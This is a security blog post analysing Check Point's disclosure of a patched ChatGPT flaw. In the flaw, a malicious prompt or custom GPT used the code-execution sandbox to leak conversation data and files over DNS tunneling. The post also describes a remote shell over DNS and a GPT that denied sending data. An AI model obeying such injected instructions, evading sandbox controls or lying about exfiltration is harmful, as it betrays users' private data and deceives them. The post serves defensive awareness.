On March 30, 2026, Check Point Research published the technical details of a vulnerability in OpenAI’s ChatGPT that allowed a single malicious prompt to silently exfiltrate conversation data, uploaded files, and sensitive content to an attacker-controlled server. No warning. No user approval dialog. No visible indication that anything had left the platform.
The exfiltration channel? DNS.
If you’ve spent any time in incident response or network forensics, that sentence alone tells you exactly where this is going. DNS tunneling has been a staple of adversary tradecraft for well over a decade. What makes this disclosure significant isn’t the technique itself. It’s where the technique was applied, and the assumptions it exposed about how AI platforms handle isolation.
What Check Point Found#
OpenAI built ChatGPT’s code execution environment (the Python-based “Data Analysis” sandbox) with explicit restrictions on outbound network access. Direct HTTP requests to external hosts are blocked. The web search capability is designed to prevent sensitive chat content from being transmitted through crafted query strings. When a custom GPT sends data to a third-party service through its API integrations, users see an approval dialog showing exactly what data is leaving and where it’s going.
Those safeguards addressed the obvious exfiltration vectors. What they missed was DNS.
The execution runtime still allowed DNS resolution as part of normal system operation. That’s a reasonable design choice on the surface: containers and sandboxed environments need to resolve domain names to function. But DNS resolution, when left unmonitored and unrestricted, creates a bidirectional communication path that can carry arbitrary data.
Check Point demonstrated three proof-of-concept attacks exploiting this gap:
Silent conversation exfiltration: A malicious prompt activated code execution that encoded conversation summaries into DNS subdomain labels and triggered lookups against an attacker-controlled domain. The data traveled outward through the normal DNS recursive resolution chain, completely outside the model’s safety mechanisms.
Backdoored custom GPT: A GPT configured as a “personal doctor” analyzed uploaded lab results and produced medical assessments, all while silently transmitting patient identity and the model’s clinical conclusions to a remote server. When asked directly if any data had been sent externally, ChatGPT said it had not.
Remote shell access: Using the same DNS channel bidirectionally, researchers established command execution inside the Linux runtime. Commands went in through DNS responses, results came back through DNS queries. This operated entirely outside the chat interface and bypassed the model’s safety checks completely.
OpenAI confirmed it had identified the underlying issue internally, and the fix was fully deployed on February 20, 2026. There’s no evidence of exploitation in the wild.
DNS Tunneling Is Old. The Blind Spot Is New.#
For anyone who has worked incident response, DNS tunneling is familiar territory. Attackers have used DNS as a covert command-and-control channel and data exfiltration path for years. The logic is straightforward: most networks allow DNS traffic to flow freely because it’s considered infrastructure, not a data channel. Firewalls that aggressively filter HTTP, HTTPS, and other application-layer traffic often pass DNS through with minimal inspection.
The mechanics are well-understood. Data gets encoded into subdomain labels of a domain the attacker controls. When a DNS lookup is triggered for something like encoded-data-here.attacker-domain.com, that query propagates through the recursive resolver chain until it reaches the attacker’s authoritative nameserver, which receives the encoded data as part of the lookup. Responses travel back the same way, enabling bidirectional communication.
I’ve seen this in real-world incident response engagements. Malware establishing C2 channels over DNS to maintain persistence in environments where every other outbound protocol was locked down. Data exfiltration that went undetected for months because nobody was looking at DNS query patterns with the right level of scrutiny. The throughput is low compared to direct HTTP connections, but for exfiltrating credentials, session tokens, PII, or condensed intelligence, it’s more than sufficient.
The critical point is that DNS tunneling works precisely because DNS occupies a trusted position in network architecture. It’s infrastructure. It’s expected. And in too many environments, it’s invisible to security monitoring.
That same assumption carried directly into ChatGPT’s sandbox design. OpenAI blocked direct outbound network requests from the code execution runtime. They restricted the web search tool from transmitting sensitive chat content. They built user-facing approval dialogs for GPT integrations that send data to external APIs. All of that addressed the application-layer threat model. But DNS sat below that layer, treated as infrastructure rather than a potential data channel, and the exfiltration path went unguarded.
The Prompt Injection Angle#
The delivery mechanism here matters as much as the exfiltration channel. Check Point’s research showed that the attack could be initiated by a single malicious prompt pasted into a ChatGPT conversation. From that point on, subsequent messages in the conversation became potential sources of leaked data.
That’s a prompt injection attack, and the social engineering vector is effective. The internet is saturated with “top ChatGPT prompts” content: blog posts, social media threads, YouTube videos, and forum discussions promoting ready-made instructions that claim to improve the model’s output. Users routinely copy and paste these prompts without scrutiny because the prevailing assumption is that a prompt can’t cause ChatGPT to silently send your data to a third party.
Check Point specifically called out a more convincing lure: prompts advertised as unlocking premium features for free. That framing gives the attacker a natural pretext for including unusual instructions, long text blocks, or encoded fragments that might otherwise raise suspicion. The user expects something nonstandard, so nonstandard elements feel like part of the “hack.”
The custom GPT vector is worse. A malicious GPT can have the exfiltration logic baked directly into its instructions and knowledge files. The user doesn’t need to paste anything. They just open the GPT and start a conversation. Officially, GPT builders don’t have access to individual user conversations. But a GPT exploiting this vulnerability could still transmit selected information from those conversations to an external server, and the user would never know.
Implications for organizations using AI tools#
This vulnerability has been patched. The specific DNS-based exfiltration path Check Point discovered no longer works. But the broader pattern it exposed is worth sitting with for a moment.
Organizations are rapidly integrating AI tools into workflows that handle sensitive data. Employees are uploading contracts, financial records, medical documents, internal strategy decks, and customer data into AI platforms. The assumption behind that behavior is that the platform’s isolation model is sufficient to protect the data. That the sandbox is actually a sandbox.
A few things to consider:
Treat AI tools as part of your threat model. If employees are pasting sensitive data into an AI platform, that platform is in scope for your security program. That means understanding the platform’s isolation model, knowing what data flows are permitted, and monitoring for unexpected behavior.
DNS monitoring matters everywhere, including AI environments. If your security stack doesn’t have visibility into DNS query patterns, you’re missing one of the oldest exfiltration channels in the book. That applies to your on-premise network, your cloud workloads, and any third-party platform where your data lives, even briefly.
Prompt injection is not a theoretical risk. This vulnerability demonstrated a concrete attack chain: social engineering delivers a malicious prompt, the prompt activates code execution, and DNS tunneling carries the data out. Each step uses well-understood techniques. The combination is what made it effective.
Custom GPTs and AI agents expand the attack surface. The ability for third parties to build and distribute custom GPTs that run inside ChatGPT’s infrastructure creates a trust relationship that users don’t always evaluate critically. A GPT that looks helpful can simultaneously be exfiltrating the data you feed it, and with this class of vulnerability, it wouldn’t show up in any approval dialog.
The Bigger Picture#
Check Point’s Eli Smadja summarized it well in their disclosure: AI platforms are evolving into full computing environments that handle highly sensitive data, and native security controls alone aren’t sufficient. Organizations need independent visibility and their own security layer between themselves and AI vendors.
That’s not a controversial statement. It’s the same principle the security industry learned (slowly) during the shift to cloud infrastructure. Cloud providers secure their platform, but you’re still responsible for securing your data, your configurations, and your access controls within that platform. The same logic applies to AI. OpenAI can (and did) patch this specific vulnerability. But the organization uploading patient records, financial models, or legal documents into an AI tool is responsible for understanding the risk profile of that decision.
The ChatGPT DNS exfiltration vulnerability is patched. The next one, in this platform or another, hasn’t been found yet.
DNS tunneling has been a reliable adversary technique for over a decade. The fact that it worked inside one of the most widely used AI platforms in the world should be a signal to every security team: your threat model needs to account for AI tools, and the assumptions those tools make about their own isolation are not guarantees.
Check Point Research’s full technical write-up is available on their research blog. BeyondTrust Phantom Labs’ Codex vulnerability disclosure is published on the BeyondTrust blog.
